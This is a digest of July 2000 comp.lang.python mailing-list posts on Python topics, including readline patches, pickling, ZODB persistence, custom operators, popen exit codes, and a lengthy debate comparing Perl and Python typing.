>     `getline' with `file_getline' in Objects/fileobject.c.

as far as I can see this has been fixed today. look for
revision 2.78 in the CVS repository (or better yet, update).

>  ?) I modified Modules/readline.c so that it allows reading and
>     writing of a history file. I also plan to implement readline
>     functions as `stifle history'. Eventually I'd also add the
>     possiblity to register a script completer which would be
>     called before the builtin completers. My question about
>     this: where would I post patches ? -- I've an account on
>     SF for other projects, but as this is my first mail to the
>     list I'd understand if you won't trust me ;-)

mailto:patches at python.org

for more details check out http://www.python.org/patches

>  ?) Is there a forum for developers? This list seems more for
>     users isn't it ?

there is. but it's hard to get in (still trying). the mailing
list python-dev is probably what you are looking for.

better-history-means-less-typing-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From rlytleNOrlSPAM at tqs.com.invalid.bbs  Mon Jul 17 17:30:03 2000
From: rlytleNOrlSPAM at tqs.com.invalid.bbs (rlytleNOrlSPAM at tqs.com.invalid.bbs)
Date: 17 Jul 2000 21:30:03 GMT
Subject: problems trying wxPython in Win 95
Message-ID: <3bRQ4T$mzt@openbazaar.net>

I got wxPython to work, mostly.  I installed the update for
WinSock for win95.  I was able to try the demo, but did get
the "blue screen of death" upon exiting.   rob


* Sent from AltaVista http://www.altavista.com Where you can also find related Web Pages, Images, Audios, Videos, News, and Shopping.  Smart is Beautiful


From ldw at us.ibm.com  Wed Jul 19 15:23:00 2000
From: ldw at us.ibm.com (Larry Whitley)
Date: Wed, 19 Jul 2000 14:23:00 -0500
Subject: Python-ese for indexing a list within a class
Message-ID: <8l4v6k$rd4$1@news.rchland.ibm.com>

Is the following the appropriate Python-ese for indexing a list within a
class?

# the following is defined outside of either class or function
nCounters = 4
a,b,c,d = range(nCounters)

# now define the class
class C:
    def __init__(self):
        cnt = [0] * nCounters
    def someFunction(self):
        # some code
        self.cnt[a] = self.cnt[a] + 1 # <<< here's the statement in question
        # some more code

I'm trying to avoid the considerably ugly:

self.cnt[self.a] = self.cnt[self.a] + 1

The code seems to work ok but is this the right/best/prettiest/(etc) way to
go about it?

Larry




From glt at equod.com  Tue Jul 18 19:46:43 2000
From: glt at equod.com (Gilles Lenfant)
Date: Wed, 19 Jul 2000 01:46:43 +0200
Subject: Newbie: searching an ODBC package
Message-ID: <3974EC63.897EF1C2@equod.com>

Hi,

I'm looking for an ODBC client package to Informix and SQL*Server which
API is identical in Windows and Linux.
I'm looking for a BINARY package because I've no C compiler for Windows
Thanks in advance for your help.
URLs, HowTo and sample code are welcome.

Gilles Lenfant
glt at equod.com

From cut_me_out at hotmail.com  Mon Jul 10 09:23:07 2000
From: cut_me_out at hotmail.com (Alex)
Date: 10 Jul 2000 09:23:07 -0400
Subject: reference counter and __del__
References: <3969CB5C.A860D124@muc.das-werk.de>
Message-ID: <etdr992p1ac.fsf@w20-575-116.mit.edu>

> 1. I have the problem that not all of my objects are destroyed and I
> don't know where and why, so I wonder if there a way to check out from
> where and how many references to a special object exists? 

You can find out how many using sys.getrefcount.  There's a module by
Tim Peters, plumbo.py, that can help you find cyclic references.  I
found it a little tricky to use, though.  

> 2. When __del__ is called the object will be detroyed, correct?

I think that's right.

> 3. Why is __init__ not called when I unpickle an object? 

I guess it's assumed that it was initialized prior to the pickling.  If
you want to re-initialize it, check out the __getinitargs__ method, at
http://www.python.org/doc/current/lib/module-pickle.html:

> When a pickled class instance is unpickled, its __init__() method is
> normally not invoked. Note: This is a deviation from previous versions
> of this module; the change was introduced in Python 1.5b2. The reason
> for the change is that in many cases it is desirable to have a
> constructor that requires arguments; it is a (minor) ;nuisance to have
> to provide a __getinitargs__() method.
> 
> If it is desirable that the __init__() method be called on unpickling,
> a class can define a method __getinitargs__(), which should return a
> tuple containing the arguments to be passed to the class constructor
> (__init__()). This method is called at pickle time; the tuple it
> returns is incorporated in the pickle for the instance.

Alex.


From brianbird at my-deja.com  Thu Jul  6 05:49:27 2000
From: brianbird at my-deja.com (brianbird at my-deja.com)
Date: Thu, 06 Jul 2000 09:49:27 GMT
Subject: How to print to stdout in binary
Message-ID: <8k1kn5$mkt$1@nnrp1.deja.com>

I've seen similar questions to this posted in other language forums,
but I've not seen anything for Python:

Does anyone know how to tell python to print the sys.stdout in binary
rather than plain text. It's mode is set as 'w' and I can't seem to
change it.

I'm experimenting with a cgi script which I want to output an image to
the browser so that the HTML file can have:
<IMG SRC="test.cgi">
and the resulting output of the script is an image.
I've currently got:

f = open("test.jpg","rb")
bytes = f.read()
f.close()
sys.stdout.print(bytes)

but I want the output to print in binary mode so that the image can be
displayed correctly. If I was printing to another file I could open it
with:

f2 = open("test2.jpg","wb")
f2.write(bytes)
f2.close()

so is there any way to do this with stdout?

Thanks


Sent via Deja.com http://www.deja.com/
Before you buy.


From tony at lsl.co.uk  Tue Jul 11 05:21:23 2000
From: tony at lsl.co.uk (Tony J Ibbs (Tibs))
Date: Tue, 11 Jul 2000 10:21:23 +0100
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <8kcqug$p32$1@newshost.accu.uu.nl>
Message-ID: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk>

OK - I spent some of my "spare" time last night reading

http://starship.python.net/crew/amk/python/writing/zodb-zeo.html

and also Jim Fulton's Introduction to the Zope Object Database (referenced
therefrom, although I found it by other means first), and also with a quick
look at the ZODB How-To.

Gosh. Damn time machines have been at it again. Ask for something and it
will have been there.

The PJama (persistent Java) people regard a mainstream persistent language
as a killer-app, allowing a major revolution in how people program. It's the
sort of thing that I find quite exciting, because it's a different
programming paradigm - no more worrying about database startup/shutdown,
crafting little save files, etc. And yet here is Python with ZODB which
looks like it does a good part of what the PJama people are aiming at (as
Martijn said a couple of messages ago), and I hadn't really heard of it.
Well, I knew about Zope, and about pickling, but that's not the same thing
at all.

I need to go back and look at the PJama stuff a bit next (although a quick
look makes me wonder if any work is progressing on it - all the dates look a
bit old), because I only had vague understanding of it, but here are some
uninformed musings:

The persistent Java effort requires quite a lot of work in the innards of
Java (i.e., C++ programming). This is presumably because Java doesn't expose
its insides to introspection in the same way Python does (Zope does use
vanilla Python, doesn't it? Can it work with JPython? (I assume not)). This
is obviously a disadvantage for the PJama people, not least because of the
licensing terms around Java (i.e., why they can't call their variant pJava,
even though they have had funding from Sun).

Glasgow has a lot of interest in distributed objects, etc., so they've also
put a lot of thought into how that works in the persistent arena. Obviously,
ZEO is a step in that direction, providing the first mechanisms needed
(makes sense!). Given the Python world, I would believe that it will expand
to cope with any problems that crop up in a practical manner.

Versioning and cache management is a Good Thing, and it's there - from a
superficial reading it sounds like the hooks are similar.

How easy is it to write a storage manager? It sounds to me as if this would
be a useful thing to layer on top of a COM or CORBA interface to (for
instance) an existing GIS, taking advantage of whatever versioning, locking,
etc., that that existing software provides.

Snags.
Well, it's obviously a bit of a pain if __getattr__ and __setattr__ are
unavailable for easy use - although I can't say I've used them for anything
significant myself, they're useful tools for the back pocket.
Also, the "lists and dictionaries aren't classes so we have to prod the
persistence when they're altered" thing is a slight pain.
And I know I've had problems getting to grips with pickling - although that
was my fault 'cos I *was* trying to do something odd.
But I can't think of any SIGNIFICANT problems from what I've read. And I
know I'm itching to try it (maybe I'll finally get round to cataloguing our
book collection again...)

So, why isn't this better known? Is it just that Python is too good at too
many things? Maybe we need a page of "clever things Python does that other
people think are hard", or "important buzzword compliances by application",
on the PythonLabs site...

[It would help if this was all more evident from the Zope site, as well,
though. Talk about hard to navigate round.]

Tibs, all excited again

[Hmm - should CP4E be considering what happens to programming if people
*start* with a persistent language?
	"""*My* variables last longer than *yours*."""]

--
Tony J Ibbs (Tibs)      http://www.tibsnjoan.demon.co.uk/
"Bounce with the bunny. Strut with the duck.
 Spin with the chickens now - CLUCK CLUCK CLUCK!"
BARNYARD DANCE! by Sandra Boynton
My views! Mine! Mine! (Unless Laser-Scan ask nicely to borrow them.)




From cut_me_out at hotmail.com  Wed Jul  5 17:38:53 2000
From: cut_me_out at hotmail.com (Alex)
Date: 5 Jul 2000 22:38:53 +0100
Subject: Python Module for sequence alignments.
Message-ID: <etdg0pppszv.fsf@w20-575-32.mit.edu>



Hi.  I made a python module that does simple sequence alignments.  If
there is enough interest, I may make it a little more elaborate.  You
can get it from 

http://puffin.lcs.mit.edu:8080/align.tgz

To use it on linux

tar zxf align.tgz
cd align
make

and make the align directory accessible to python, with a command like

setenv PYTHONPATH `pwd`:${PYTHONPATH}

It needs the Numeric extension.

Here's an example of how it works from the command line:

>>> import align                          
>>> align.align ('aneotuhaneot', 'asneouhoteuh')[0][0][:3]                
('neotuhane', 'sneouhote', '----uh--e')

The second element of the tuple it returns is the matrices used to
calculate the optimal alignments.

I don't really care how you use or change this, nor will I assume any
legal culpability for problems arising from its use.  For instance, if a
bug in this code tricks you into genetically engineering Giant
Super-Intelligent Man-Eating Lizards, I may cackle evilly, but I won't
explicitly own up.  I may take on the care and feeding of one or two of
them if you can prove they will co-exist peacefully with my cat, but
that's definitely as far as it goes.

But please do let me know of any problems with it, or any suggestions
you have about how I could improve it.  If you make any use or
improvements to it yourself, I would love to hear about them.

Alex.




From fiona at sitegnome.com  Sun Jul 30 22:55:48 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Mon, 31 Jul 2000 12:55:48 +1000
Subject: Python in politics (sssssssssnake!)
References: <nif3osg6mr87dsd5grafifpck048jr6ec9@4ax.com> <398296A1.1A97571A@sitegnome.com> <U4Lg5.15666$4p3.123519@news-server.bigpond.net.au>
Message-ID: <3984EAB4.C8264270@sitegnome.com>

In our ongoing saga who will win  ....

Is Python weird?

Is Perl worse?

Let's hope our super heroes can triumph over evil ....

Stay tuned!

super-boys-mother-ly y'rs - Fiona

Neil Hodgson wrote:
> 
> > body actions of a super hero (muscle flex left and right arms :) ....
> > hopefully I'll be able to maintain that level of enthusiasm.  Do all you
> > guys do that?? <g>
> 
>    We no longer try to emulate super-heroes. We've got Tim Peters.
> 
> no-time-for-murder-mayhem-or-mice-gonna-shine-them-sigs-so-nice-ly y'rs -
> neil

-- 

Site Gnome - site maintenance, documentation and proof reading

http://www.sitegnome.com


From mwh21 at cam.ac.uk  Fri Jul 21 14:18:44 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 21 Jul 2000 19:18:44 +0100
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com> <3977AF5E.552F4F42@my.signature> <W.Whiten-2107001658290001@whiten-mac.jkmrc.uq.edu.au>
Message-ID: <m38zuvny7v.fsf@atrus.jesus.cam.ac.uk>

W.Whiten at mailbox.uq.edu.au (Bill Whiten) writes:

> In article <3977AF5E.552F4F42 at my.signature>, Greg Ewing <see at my.signature>
> wrote:
> > Python with its overloadable operators can be thought of
> > as a meta-language for creating domain-specific languages.
> > But the number of operators is too restricted for it to
> > be really good in this role. Operator overloading feels like
> > something tacked on as an afterthought rather than a
> > serious feature. I don't think it's unreasonable
> > to consider whether this situation could be improved.
> 
> I would prefer the normal oprerators plus an escape character followed by
> additional characters to define new operators eg @+ @div etc.

I quite like this idea (unlike most of the others that have been
mentioned...); it reminds me of Haskell.

The semantics would be:

a @<id> b === <id>(a,b)

for any valid identifier <id>.

There are still precedence issues, but I think they can be ignored
(make everything of this from the same (low) precedence & left
asssociative).

Cheers,
M.

-- 
3. Syntactic sugar causes cancer of the semicolon.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From db3l at fitlinxx.com  Thu Jul 27 21:46:58 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 27 Jul 2000 21:46:58 -0400
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com> <cpzon4jnm6.fsf@cj20424-a.reston1.va.home.com> <uaef4m92z.fsf@ctwd0143.fitlinxx.com> <39802DB6.73CEC178@endea.demon.nl> <uk8e7wj5u.fsf@ctwd0143.fitlinxx.com> <3980ABA5.4190FC4F@endea.demon.nl>
Message-ID: <uhf9bvxf1.fsf@ctwd0143.fitlinxx.com>

Niels Diepeveen <niels at endea.demon.nl> writes:

> I would propose waiting for the child to terminate and returning the
> exit code only when closing the last remaining pipe, and returning None
> on all the earlier closes. Is there any problem with that?

Just a far harder implementation in terms of maintaining state -
internally, the close() function has no automatic access to anything
outside of the file handle - the patch I proposed linked the selected
(stdin) handle to the original process handle, so a wait and retrieve
result could be done, but cross-linking all of the files that relate
to the same process handle, although not impossible, is much more
effort to ensure correctness.

It would also mean subtlety in terms of knowing for sure if you are
getting the exit code or not.  If somehow you didn't actually close
all the file handles you thought you did, you might mistake the
close() return of 0 on what you thought was the final handle for a
successful child process exit when you just hadn't happened to close
all handles yet.

Hmm - maybe implementing pclose() semantics in a popen#() environment
(e.g., not the normal plain popen()) isn't practical - I agree that we
don't want to leave the potential for a deadlocked wait for a child
process that an application can't protect against.

Does anyone know if the higher order popen# calls part of Posix?  Does
it have defined behavior for retrieving exit codes in such a case?

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From webmaster at in852.com  Thu Jul  6 12:45:57 2000
From: webmaster at in852.com (webmaster)
Date: Fri, 07 Jul 2000 00:45:57 +0800
Subject: in852.com - 2
Message-ID: <3964B7C5.EDB2E793@in852.com>

[ ???? ]

?T???????? http://www.in852.com
?????T???? http://www.ec852.com

in852?S?I?G
(1) ???????P???~?e???|?? (Printers?BScanner?B?q???C??????)?C

(2) ???W???I?j????
?]?A???????????~?B???s?q?????~?B?y?????~?????C

(3) ?????? Free Mail
?u?n?|???? POP ?? SMTP ???? mail.in852.com?A?K?i?????q Mail Box

(4) ???I???e
?T???????y???T?B???g?@???B?C?????a?B???????T?B?q??????
?n???U?????@?????????????????T?s?????C




From slinkp23 at yahoo.com  Tue Jul  4 13:47:28 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Tue, 04 Jul 2000 13:47:28 -0400
Subject: Postscript font metrics?
Message-ID: <39622330.3732B225@yahoo.com>

I need to generate some nice Postscript output from a python script,
and I'm finding that I need to get at the font metrics info from the
.afm files so I can place things correctly. (Either that or write
*everything* in postscript -- no way!!)

I can't find anything like this on Parnassus. Anyone ever seen any
python code that gets the useful info from .afm files?

If not, I might have a go at hacking the relevant parts of the Perl
PostScript-Font-1.02 module into Python... but then I'll have to
(yuck) read someone else's Perl code, which I haven't done in a
looong time and I was never that good at it.

-- 
.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
        web page:  http://www.ulster.net/~abigoo        
      A member of ARMS:   http://www.reacharms.com
               or http://www.mp3.com/arms


From parkw at better.net  Mon Jul 24 12:53:07 2000
From: parkw at better.net (William Park)
Date: Mon, 24 Jul 2000 12:53:07 -0400
Subject: Python questions from C/Perl/Java programmer
In-Reply-To: <397C6F49.7BEBB207@alabanza.net>; from yw@alabanza.net on Mon, Jul 24, 2000 at 12:31:05PM -0400
References: <397C6F49.7BEBB207@alabanza.net>
Message-ID: <20000724125307.A16134@better.net>

On Mon, Jul 24, 2000 at 12:31:05PM -0400, ye, wei wrote:
> 1. Why not use {}?!
> def f:
>     ...
> why not use {} like this:
> def f {
>     ...
> }

Usual answer is '{}' uses up extra line.  But, Guido decided on this
long time ago and is unlikely to change his mind.


> The other problem is if you want to added a new condition in a complex
> already existed condition statement,
> e.g. In the following example, If you want to added a new 'if' between
> line 1 and 2, you have to add TAB from Line 2 to 199,
> it's difficult to make sure you don't make mistake. (The case may be
> more complex as the example which I give).
> 
> 1     if() :
> 2        if():
> 3           ....
>              ....
>              ....
> 100   else:
>              ...
> 200else :
>          ...

If you have to manually type 200 if-then-else, then perhaps you
re-examine your logic.  However, indentation should be taken care of by
your editor.  I use 'vim' with
    au BufRead *.py set smartindent
    au BufRead *.py set cinwords=if,elif,else,for,while,try,except,finally,def,class
to get automatic indenting for the first line.  More recent 'vim' may
have other features that I'm not aware of.


> 2. Why variable doesn't have to be declared before use?

The usual answer is "because it's Python".



From m.faassen at vet.uu.nl  Fri Jul 28 22:50:37 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 29 Jul 2000 02:50:37 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com>
Message-ID: <8ltgpt$31a$1@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On 28 Jul 2000 20:11:42 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
[snip]
>     Don't do much re work?  ;)

Nope; though I understand the basic concepts.

>>I'd probably solve that in a more verbose way myself. 

>     My perl background shines through, eh?

Perl code definitely seems to be regular expression happy. In many 
cases they're pretty handy, though in lots of cases where Perl uses regular
expressions Python does it with the string module.

[snip]
>>As your program proceeds and for instance throws the dice, it'll try to use
>>those variables as numbers, but since they're other strings, you'll
>>eventually get strange answers (such as 0). And then presumably you'd have to
>>search what part of your program is wrong. In Python you'd know pretty
>>quickly that you got strings instead of numbers, and so you know what to fix.

>     I know even faster in Perl.  When testing RE I take a sample, toss it in
> an isolated script and build the regex until the expected results come forth.

Oh, sure, testing is always useful, of course. I was presuming we had tested
but some little error slipped in at some point anyway.

> When that is done I test it against a much larger data set for any cases I may
> have missed.  If errant data gets in after that time in Perl you have a script
> which runs but has some problems.  In Python it pukes.

Yes, in Python you'd need to extend it with a few int()s if you want
integers, or build lists or objects or whatever more complicated thing you'd
like.

>  In either case it
> happens outside your hands.  When it comes to regex a properly defined regex
> will not let through abberant data.  Esp. not when it comes to something as
> simple as digits \d versus words \w.

Right -- that's why I didn't understand why you complained about the
extensive exception checking or other checks you need in Python; if you
*know* a string can be safely converted to an integer, int() does the
job just fine by itself.

>>That wasn't the assumption. I said the exact opposite, you need to 
>>remember what type your data is *anyway*. In order to do that you need
>>to check the data if it is input.

>     On input.  But for data generated internally this is not the case since
> you defined it from start to end.

Right, though often your internally generated data is dependent on some
input, and if you slipped in a string instead of a number suddenly your
big formulate will return a mysterious 0 or something. :) But apart from
that, if you are dealing with data internally generally your data is
already of the right type, so no excessive conversions are necessary.
(you mentioned one for your hash key which is using a number; I don't
think a little str() somewhere, or perhaps a ("%s" % n) takes up so
much space.

>>This is a common misconception. *everything* in Python is always, always,
>>references. It is just that certain data types (integers, string, tuples) are 
>>immutable; you cannot change them. So the semantics are the same as 
>>copy semantics.

[snip example]

>     Forget, for a moment, what is happening internally.  What looks like here
> is that in the first case there is an assignment going on and in the latter a
> reference.

Yes, as I said; in the case of immutable objects reference semantics are
the same as copying semantics. But once your object is mutable (such as
a list), you'll see the reference semantics.

>  Nevermind that what is happening in the first case is a references
> objint[1] and b references objint[1] and when we change a it points to a new
> reference objint[2].  It is the difference in behavior of an identical
> operator that is ambigious.  I'm sure even though I am aware that it happens I
> am going to be nailed by it a few times before I get used to it.

It's usually surprisingly easy to handle; I don't recall getting nailed
by it often. And the behavior *is* consistent; there's no ambiguity 
about it. In your first example, you use an immutable object. You could
also have used a mutable object and not changed it, and get the same
'copy semantics' effect. In the second case, you used a mutable object
and then changed it, and so you'll see the reference semantics in the
clear. But it's always there; no ambiguity about it.

>>Isn't that worse than the program giving up? 

>     No.  The program giving up in the customer's hands because of an unchecked
> except is a far cry worse than a nigglet but having it continue on.  As a
> customer which would you rather have, given the choice of these two:

> a: A program that crashes, stopping everything that you're doing with no
> chance of recovery

> b: A program that behaves oddly but allows for chance of recovery.

Ahum, the first! Especially if it deals with critical data, or *money*.
Imagine I get a string by accident (there's a bug in the program) instead
of a number, and the string evaluates to 0, and suddenly what I'm selling
in my e-commerce store is *free*, I'd be rather upset. I'd rather have the
software not working in case of such input!

Also, if you *know* you want to continue in the face of weird behavior
and recover, in Python there's an excellent exception handling system
for you to use. So Python offers the error recovery, if you explicitly
enable it.

[snip]
>>But you haven't; you haven't told the system it's a number yet. :) That's
>>the _only_ extra step you need to take. The system is too stupid to figure
>>it out very well on its own anyway, so why not tell the system explicitly?

>     No, in my case I needed to check to make sure it was a type that can be
> converted to int and then do the actual conversion.  That is two steps more
> than I deem needed considering the strictly checked input in the first place.

This depends. If you know, like in Perl, that your data *has* to be a number,
you just need a single int() and no further checks. If you turned out to
be wrong, you'll find this out as well.

>>Interactive mode (I think it explains in the tutorial) gives you the output
>>of expressions as a result always. 

>     Right, which is worthless in a script.

Which is why it isn't happening in a script. In a script, the result of
expression statements are discarded. This is useful in the case of 
function calls.

>  I'd personally have the Python
> check what mode it is in and toss an exception when it is in interactive mode
> and gets a meaningless statement.

It's not a meaningless statement. Sometimes it's very handy to get the
representation of some Python object. For instance:

>>> def foo(): pass
>>> [many complicated steps later]
...ah, but what is bar now?
>>> bar
<function foo at 80c8f68>

>  It does so on every other possible
> ambiguity, why not this one when it is even less grey than a lot of the ones I
> am tossing out?  Is there a purpose for having such informative statements in
> non-interactive mode?

In non-interactive mode it isn't useful, I think (I'd love to hear some
cases outside the function call example) so we could propose a patch to
Python that trips over this (in the case of non-calls).

>>No, my entire point was that you need to know what your data is *anyway*.

>     Right, I know what the data is, I don't need the language to ask me at
> every operation, "Are you sure?  I mean, really, really, REALLY sure!?"

No, but this is hardly the case in Python either. :)

>>You need to know that something is an integer anyway, so why not simply
>>tell the computer what's going on? I'm *not* saying the language should
>>do the checking. It can't; even though Perl tries.

>     Because what if I want to do something that the computer thinks is
> non-sensical?  

Then don't depend on the computer trying to figure out your nonsensical
thing anyway. Because you'll likely get something nonsensical, or something
you can't predict, unless you learned what would happen already.

Tell the computer explicitly what you want in a clear
way. This way other humans reading your code can understand what's going
on too. Or you yourself the next day, month, year.

>>checking. If you want the system to shut up about your mistakes,
>>you can always do this in Python:

>>try:
>>   a = a + 1
>>except:
>>   pass

>     Great, now I get to litter my code on a per operation basis with tries
> instead of being able to set it on certain variables.  That would make more
> sense.

Hm, it's hardly a recommended way to handle things in general. I certainly
don't use this type of thing in my code; I don't see the necessity and 
I don't feel your pain. I understand that you do, though. Just pointing
out that this behavior is designed and does have a reason.

>>This works. I didn't need to tell the system that 'a' is a cow or a chicken
>>or an animal that can make sounds. 

>     Of course not, they are types.  The variable gets it type at declaration,
> IE, assignment.

Huh? What do you mean, they are types? I was treating two objects that
have nothing to do with each other in the code as the same thing, and it
worked. Wasn't that exactly what you wanted? 

>>You can do that in Python too. I tend to prefer that as well.

>     I also prefer the computer to trust me than mistrust me.

That statement sounds good in rethorics, but in practice I'd rather
have the computer give up on things if I'm trying to do things that
don't seem to make any sense immediately. That way I need to remember
less.

>>>     Funny, we have implicit typing in OO code that causes problems later in
>>> the code.  So yes in OO code.

>>What implicit typing? I don't understand what you mean at all.

>    A variable gets its type upon assignment.  That is implicit typing.

You mean dynamic typing? The objects get the instance type in Python.
But they may be instances of any class, if you call .foo() on an instance
and their class can handle foo() in some way, it'll work.

>>Yes, but if I'm not doing it properly at least the language will complain
>>so I get a broad hint I do need to do it properly. :)

>     As well as if you're doing it properly the language will still complain
> long and loud.

I don't consider trying to add two things that cannot be added as 'proper'.
But we already had that debate. :)

>>Huh? Where in Python did you find your declarations? I'm confused.

> a = None
> int(a)

>     a is declared as None at assignment.

No, the name 'a' doesn't have any type. The object a is referring to has
NoneType. I'm not sure what you're trying to accomplish with 'int(a)'.
(and since Python isn't sure either, it complains :).

>>Well, because it doesn't really make a lot of sense if you want to convert
>>something to an integer when Python can't figure it out. If you're so
>>sure of yourself, you can always do:
>>
>>try:
>>   a = int(b)
>>except ValueError:
>>   a = 0

>     Right, which is basically what I had to do except I left None as None.
> Just seems like a pain in the butt to do after I have allready made sure,
> beyond all doubt, that those variables contain numbers in the first place.

If you already made sure beyond doubt, you only need to do this:

a = int(b)

Unless you made it possible that b contained something that couldn't be
turned into a number, such as None. If you made that possible you aren't
sure beyond all doubt that the variable contains a number, right?

>>All right; this just doesn't happen very often in my code. Generally because
>>I can expect a certain regularity in my input. If my input is less regular
>>than I expected, I get exceptions. That gives me a nice indicator that my
>>expectations were off.

>     Which is why for the base parsing routine I use re.  If it doesn't pass re
> it doesn't get executed, period.  People can try all they want to get around
> the regular expressions but it is really hard to do so.  I don't see a reason
> to write my own test parsing routines when re does it for me.

Sure, but it is the same in Python, right? Except that in the end you have
to cast your integers to ints or whatever other thing you were expecting
from your input.

>>In that case you don't need to do any checking, obviously. You have a 
>>regularity in your data so you just do something like:

>>a = int(a)

>>Though I may be missing something about regular expressions here and
>>I'm goofing up?
>  
>     A regex could return a string or None, only one of which is convertable to
> int.  You must litter your code with such checks.

Ah, okay. I can see that this could be a minor pain, but it also makes
sense to me that you need to check whether something matched *anyway*,
just saying None is 0 isn't the right thing, for instance. In throwaway
scripts it could be a pain, though.

>>Hm, why would you do that? Depends on the structure of your keys. You can
>>use numeric keys in your Python dictionary just fine.

>     Text for information, numericals to prevent duplication.

In Python you'd use a tuple. That's what tuples are designed for;
an immutable combination of things that can be used as a key, for
instance. So you'd say something like:

key = mystring, myvalue

instead of making it all a string.

>>But an integer can be seen as an object with methods as well. A string
>>too (Python 2.0 will actually allow you to use string methods). In fact,
>>I can make a new type of object in Python that behaves much like your
>>Perl scalars:

>     Touche'.  ;)

Thanks! I'm glad my effort wasn't wasted. ;)

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From "rod" at REMOVETHISinf.bme.hu  Mon Jul  3 10:09:25 2000
From: "rod" at REMOVETHISinf.bme.hu (Gabor Papp)
Date: Mon, 03 Jul 2000 16:09:25 +0200
Subject: lambda requirements
References: <000101bfe4ec$010e1c60$a5dfdfdf@ors-x-wt1.or_soft.de>
Message-ID: <39609ea1@news.caere.com>

there's a section about this in the FAQ
http://www.python.org/doc/FAQ.html#6.10
Gabor


From boncelet at eecis.udel.edu.bbs  Mon Jul 17 16:00:11 2000
From: boncelet at eecis.udel.edu.bbs (boncelet at eecis.udel.edu.bbs)
Date: 17 Jul 2000 20:00:11 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRNaD$l9g@openbazaar.net>

Bjorn Pettersen wrote:

> On the contrary. The argument is something like the following:
>
>  - Python is a general purpose language, and as such it can't
>    support special case syntax for Matrix/cgi/xml/db programming.
>    (special syntax has previously been requested for both cgi and
>    db programming).

Not trying to be argumentative, but why not?  Why not allow an
additional, overloadable, operator?

>  - The proposal is to add a handful of operators that would only
>    have meaning in this one domain.
>    - the criteria for addition to the core is something that is
>      generally useful for a large segment of the community.
>      (and it's your job to convince us of it, not ours to
>      convince you that it isn't -- many more people would like
>      to see Stackless in the core, but that's not going to happen
>      anytime soon either...)

I'd love to see stackless and += added.

>    - that many problems can be reduced to matrix operations is
>      a non-argument, since the same is true of functional/
>      procedural/oo/predicate programming.

I agree, but there is a big userbase waiting for an alternative
to the $$ Matlab.

>  - There are allready ways of performing the required tasks in
>    Python, so there is no absolute need to add this to the core.

The same can be said of any simplification.  There is no need for
it, but adding it may make life a lot easier.

>  - Other straight forward solutions has been proposed including
>    list comprehensions and Moshe Zadka's elementwise class
>    approach.

This I must object to.  Linear algebra often involves big objects.
These operations want to call a carefully written C function.  Any
time you use Python to loop over matrix objects, you are dead in
a big problem.  As far as I understand (and I could be wrong)
neither list comprehensions nor the elementwise approach would be
able to call the underlying C functions without python loops.
>
> > On the other hand, alternative arguments based on analysis of functionality,
> > overall design, history of evolution and possible future extension, etc,
> > would carry some real persuasive weight.
>
> If you really want to convince people, I would like to see examples of
> how adding these operators would make working in other domains easier
> (directly, not through translation through linear algebra).

This may be Hauiyu's argument, but it is not mine.  I'll let the
people working in other domains to give the examples for their
domains.  My argument is that there is a very large potential user
group Python could address if it were improved slightly (for that
domain.)

--
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From m.faassen at vet.uu.nl  Fri Jul 28 16:32:45 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 28 Jul 2000 20:32:45 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com>
Message-ID: <8lsqld$hrq$1@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
[snip]
>     Just playing around try this some time:

> a = None
> list(a)
> a = 1 
> list(a)
> a = 123
> list(a)
> a = "abc"
> list(a)

>     To me all of those could be converted into lists yet only the last one is.

The last one is a sequence, the rest of them aren't sequences so Python
gives up in the face of ambiguity. What result should list(None) give?
What about list(123)?

If you want to put something in a list, that can be done unambigiously:

[None] or [123]

[snip what you expected]

You are expecting different things than I am. That's the problem; Python
just gives up when it sees things like that.

> as expected in conversion.

> a = "abc"
> a
> a = list(a)
> a = str(a)
> a

>     a is now "['a', 'b', 'c']".  Which means we split a string up when
> converting to list but don't concatinate on the way back.

There's string.join() for that:

string.join(a)

Again, str() tries to give you a readable version of whatever you put into
it. Its goal isn't to concatenate anything.

[snip lots of assumptions that just don't work in Python. Your assumptions
are not the same I make, or Python makes]

> a = None
